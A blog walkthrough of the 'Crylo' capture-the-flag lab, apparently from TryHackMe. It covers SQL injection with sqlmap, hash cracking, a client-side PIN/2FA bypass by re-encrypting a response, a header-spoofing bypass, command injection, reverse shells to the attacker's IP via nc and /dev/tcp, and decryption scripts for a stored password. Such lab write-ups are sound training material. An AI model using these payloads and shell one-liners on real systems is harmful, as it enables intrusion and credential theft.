boot767 notes · 24 posts

Every Shell Leaves a Trace

I keep what I learn about offensive security here: my notes from CTFs, certifications and university, plus the walkthroughs I write when a box is worth sharing. It's organized the way I work a box. Recon first, then a foothold, then privilege escalation, then the rest of the network.

latest transmission · 2026-11-19Collection of OSINT Tools and Resources
boot767 notes · 24 posts

Every Shell Leaves a Trace

I keep what I learn about offensive security here: my notes from CTFs, certifications and university, plus the walkthroughs I write when a box is worth sharing. It's organized the way I work a box. Recon first, then a foothold, then privilege escalation, then the rest of the network.

latest transmission · 2026-11-19Collection of OSINT Tools and Resources

Crylo

Step 1: Nmap

nmap -sC -sV -p- -T4 crylo.thm -v

Step 2: Web Directory Enumeration

ffuf -w /usr/share/wordlists/SecLists/Discovery/Web-Content/common.txt:FUZZ -u http://crylo.thm/FUZZ

Step 3: Manual Website Review

Splashpage:

Login:

Framework:

Step 4: SQLMap

  1. Let's intercept the request with Burp Suite and see what we can do with it.

  2. Let's copy this down and run it through SQLmap to see if we can pull a database.

  3. sqlmap -r req.txt --level=3 --risk=3 --dump --batch --thread=10

  4. Running this scan reveals a database called food with a table called auth_user.

  5. We can dump the table with this command: sqlmap -r req.txt --batch --dump -T auth_user -D food

  6. Let's see if we can crack this hash for admin and anof using hashcat.

  7. We notice the hash type is Django (PBKDF2-SHA256)

  8. hashcat -a 0 -m 10000 hash.txt /usr/share/wordlists/rockyou.txt

  9. Great, we now have the credentials to login.

Step 5: Logging In

After entering our credentials we are presented with a page asking for a PIN.

Aftering entering a random PIN we are redirected to a page called 2fa.

Going back to the login page and checking out the source code, we find an interesting JavaScript file called validation.js. Starting from line 23, we can see that the variable jsonResponse either redirects to 2fa or set-pin. We can force a PIN reset by intercepting the login request and changing the variable jsonResponse.set_pin to False.

Intercepted Request:

Intercept response to request "Content-Disposition: form-data; name="username"" on line 19 by right clicking next to it, click "Do intercept", and then "Response to this request".

We intercept the encrypted jsonResponse that we can use with https://anyscript.com and inject our own paramater to reset the PIN.

Perform these steps to decrypt it:

  1. Copy the highlighted text: iL6SVLGiiyY47lh6kX353MqD9I+mcSncHWhuJl6Dg7umFTYotHmMKiPaluJ8J35LebkAv3FSyusGIO8rxwJztzwHX9Ot64ltTlbzi/spfQ4=

  2. Grab the string from var k in validation.js:

  3. Decrypt it to retrieve the JSON text.

Perform these steps to alter the variable pin_set to False and encrypt the JSON text to pass through Burp Suite.

  1. Copy and paste the JSON string "{"pin_set": "false", "email": "admin@admin.com", "success": "true"}" into the Encryption Text field.

  2. Set the Secret Key and IV with the same string taken from var k.

  3. Encrypt.

  4. Now replace the encrypted JSON in Burp Suite with our new one.

  5. Forward the request and you'll be able to set a new PIN.

  6. After you set your new PIN you will have to re-enter the login credentials again. Once we do that then we get a successful login.

Step 6: Debug and Initial Foothold

Unfortunately, we still cannot access the webpage /debug due to the page only being accessible to Local Users. However, there is a way to bypass it by adding X-Forwarded-For to our header.

Forward the request and we are granted access to /debug.

From here we can append a secondary command to a Port like so: 80; whoami

Let's see if we can get a reverse shell off of this. First, let's set our listener: rlwrap -cAr nc -lvnp 1337

Now let's append our shell: 80; nc 10.13.28.215 1337 | bash

Perfect, we got a call back. But unfortunately we cannot do much with this shell, so let's see if can get a better one through a bash one-liner. We'll need to start another listener to catch this one.

Now let's call it with a better shell: bash -i >& /dev/tcp/10.13.28.215/13337 0>&1

And we're ready to start our pirvesc to root.

Step 7: Privilege Escalation and Root

We can grab the user.txt flag from /home/crylo.

Navigating to /home/crylo/Food/food/accounts reveals the encryption file that's being used on the backend. Going back to our SQLmap dump we discovered an account called anof that had a hash that wasn't recognized. We can take the enc.py inside the /accounts directory and create a script to decrypt the hash.

Enc.py:

# from Crypto.Cipher import AES
# from Crypto.Util.Padding import pad
from base64 import b64encode, b64decode
import base64

# key = '/I02fMuSSvnouuu+/vyyD7NuSEVDB/0gte/z50dM0b4='
# data = 'hello world!'

# cipher = AES.new(b64decode(key), AES.MODE_CBC, iv=b'0123456789abcdef')
# padded_data = pad(data.encode(), cipher.block_size)
# ciphertext = cipher.encrypt(padded_data)
# print(b64encode(ciphertext))

#from Crypto.Cipher import AES
#from pkcs7 import PKCS7Encoder

#key = "8080808080808080".encode()
#mode = AES.MODE_CBC
#iv = "8080808080808080".encode()
#encoder = PKCS7Encoder()

# encryptor = AES.new(key, mode, iv)
# text = "Test@123"
# pad_text = encoder.encode(text)
# cipher = encryptor.encrypt(pad_text)
# enc_cipher = base64.b64encode(cipher)

# secret_text = '{"success":"false", "reason":"User or Password is invalid"}'
# #key = 'A16ByteKey......'
# mode = AES.MODE_CBC
# #iv = '\x00' * 16

# encoder = PKCS7Encoder()
# padded_text = encoder.encode(secret_text)

# e = AES.new(key, mode, iv)
# cipher_text = e.encrypt(padded_text.encode())

# output = (base64.b64encode(cipher_text))
# print(output.decode("utf-8"))
# #print("56iPf4PPRmHLusqyKpf7QQ==")

from Crypto.Util.Padding import pad, unpad
from Crypto.Cipher import AES
from Crypto.Random import get_random_bytes
data = b'toor'   # 9 bytes
key = b'\xc9;\xd4b\xce\xc15\x19;\x00Z^Nw\xafp\x10\xce/r\x0c\xf1\x1c&\x1c\x12a\xd9&b"\xc3'
iv = b'!6\x0b\xc7Xg@\xcc\xe3KY\xcfN\x9b\x81\x91'
cipher1 = AES.new(key, AES.MODE_CBC, iv)
ct = cipher1.encrypt(pad(data, 16))

print(ct)

#cipher2 = AES.new(key, AES.MODE_CBC, iv)
#pt = unpad(cipher2.decrypt(b'\x9f\xc9P\xff\xb3Z\x94\x84\x8a\xeb1\xa2/\xba\x8d\xa5'), 16)
#print(pt)
#assert(data == pt)

Dec.py:

from Crypto.Cipher import AES
from Crypto.Util.Padding import pad, unpad
from base64 import b64decode

def main():
    encrypted_data = 'VH6Hj4+eQn5uYGVAxy8Ht7pkVO9oePUpELDdiXFq1V0='
    data = b64decode(encrypted_data)

    key = b'\xc9;\xd4b\xce\xc15\x19;\x00Z^Nw\xafp\x10\xce/r\x0c\xf1\x1c&\x1c\x12a\xd9&b"\xc3'
    iv = b'!6\x0b\xc7Xg@\xcc\xe3KY\xcfN\x9b\x81\x91'

    cipher = AES.new(key, AES.MODE_CBC, iv)
    decrypted_data = unpad(cipher.decrypt(data), AES.block_size)

    print("Decrypted pass:", decrypted_data.decode('utf-8'))

if __name__ == "__main__":
    main()

Now we can switch users to anof and grab the root flag.